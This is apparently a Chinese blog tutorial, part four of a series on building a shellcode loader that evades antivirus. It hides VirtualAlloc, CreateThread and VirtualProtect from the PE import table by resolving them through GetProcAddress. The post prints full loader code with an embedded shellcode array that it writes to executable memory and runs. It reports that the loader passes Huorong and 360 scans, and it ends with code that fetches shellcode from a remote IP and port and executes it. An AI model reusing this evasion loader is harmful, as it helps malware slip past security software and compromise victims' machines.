这是从0开始写ShellCode加载器的第4篇文章,文章列表,样本demo已上传到GitHub

杀毒软件扫描原理大体上可以分为三种,文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。那么一个什么样的文件会被识别为病毒木马呢?

在开始此之前我们需要了解一些PE文件结构相关知识:导入地址表

Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。 - 来源百度百科

我们经常听到导出表和导入表两个词,简单来说,导出表的功能是将自身的函数,类等资源供其它程序调用,提供这类功能的程序叫做动态链接库DLL。而导入表的功能帮助程序调用DLL中的资源。

关于PE文件结构的更多信息,可以到我这篇文章中查看。

我们来分析一下第一课代码编译出来的exe文件,使用PEview工具查看。

image-20220327160657184

在文件的导入地址表中,代码中调用的api一览无遗,Virtual AllocCreateThread这类函数是杀毒软件重点关注的对象,一个几十kb的程序调用了这些函数,极有可能是木马病毒。

因此我们尝试在PE文件中抹去导入函数的名称。

我们尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。

自定义函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//typedef用于类型定义,他允许用户为已经存在的数据类型起一个别名
//WINAPI 意味 __stdcall,是一种函数调用方式,stdcall调用方式的函数声明为:int _stdcall function(int a, int b);
/*
stdcall的调用方式意味着:
(1) 参数从右向左依次压入堆栈
(2) 由被调用函数自己来恢复堆栈
(3) 函数名自动加前导下划线,后面紧跟着一个@,其后紧跟着参数的尺寸
*/
//微软文档对VirtualAlloc函数的定义
/*
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
*/
typedef LPVOID(WINAPI* ImportVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
//上述代码可以看作自己定义一个函数名为ImportVirtualAlloc,返回值、参数和VirtualAlloc相同的函数。
//下面的定义同理。


typedef HANDLE(WINAPI* ImportCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);

typedef BOOL(WINAPI* ImportVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

GetProcAddress函数用法

1
2
3
4
5
6
FARPROC GetProcAddress(
[in] HMODULE hModule, //包含函数或变量的 DLL 模块的句柄。LoadLibrary、 LoadLibraryEx、LoadPackagedLibrary或 GetModuleHandle函数返回此句柄。
[in] LPCSTR lpProcName //函数或变量名,或函数的序数值。如果该参数为序数值,则必须在低位字中;高位字必须为零。
);
//如果函数成功,则返回值是导出的函数或变量的地址。
//如果函数失败,则返回值为 NULL。要获取扩展的错误信息,请调用 GetLastError。

然后在main函数中,定义四个函数指针来存放这些函数的地址。

1
2
3
4
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");

接下来在代码中的函数换成自己定义的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main(){
int shellcode_size = 0;
DWORD dwThreadId; //线程id
HANDLE hThread;//线程句柄
DWORD dwOldProtect; //内存页属性
char buf[] = "\xfc\xe8\x82\x0\x0\x0\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\xc\x8b\x52\x14\x8b\x72\x28\xf\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x2\x2c\x20\xc1\xcf\xd\x1\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x1\xd1\x51\x8b\x59\x20\x1\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x1\xd6\x31\xff\xac\xc1\xcf\xd\x1\xc7\x38\xe0\x75\xf6\x3\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x1\xd3\x66\x8b\xc\x4b\x8b\x58\x1c\x1\xd3\x8b\x4\x8b\x1\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x1\x8d\x85\xb2\x0\x0\x0\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x6\x7c\xa\x80\xfb\xe0\x75\x5\xbb\x47\x13\x72\x6f\x6a\x0\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x0\x0";
shellcode_size = sizeof(buf);

char* shellcode = (char*)MyVirtualAlloc(
NULL,//基址
shellcode_size, //大小
MEM_COMMIT, //内存页状态
PAGE_READWRITE //可读可写可执行
);


//CopyMemory(shellcode, buf, shellcode_size);
memcpy(shellcode, buf, shellcode_size);
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
MyWaitForSingleObject(hThread, INFINITE);
return 0;
}

再用peview查看一下新生成的程序

image-20220328083854215

导入表中已经没有Virtual AllocCreateThread这些函数了

将隐藏导入表代码和分离免杀的代码合并。检验一下效果。火绒,360静动全过,defender静态过了,动态被杀。暂时不上传virustotal检测了,之前检测率7/65的木马,今天再上传已经是23/65了,看来杀软也在分析标记virustotal上的样本。除了颠覆性的技术出现让所有杀软都检测不出来,免杀大多数时候过主流杀软就可以了。

通过命令行参数将shellcode地址传给程序,避免暴露ip等信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(int argc, char* argv[])
{
if (argc != 4) {
exit(0);
}
char* data;
char *ip = argv[1];
int port = stoi(argv[2]);
char *filename = argv[3];
data = WinGet(ip, port, filename);
cout << "返回的数据为: " << data << endl;
cout << argc;
char* buf = StrToShellcode(data);
load(buf, 2048);
}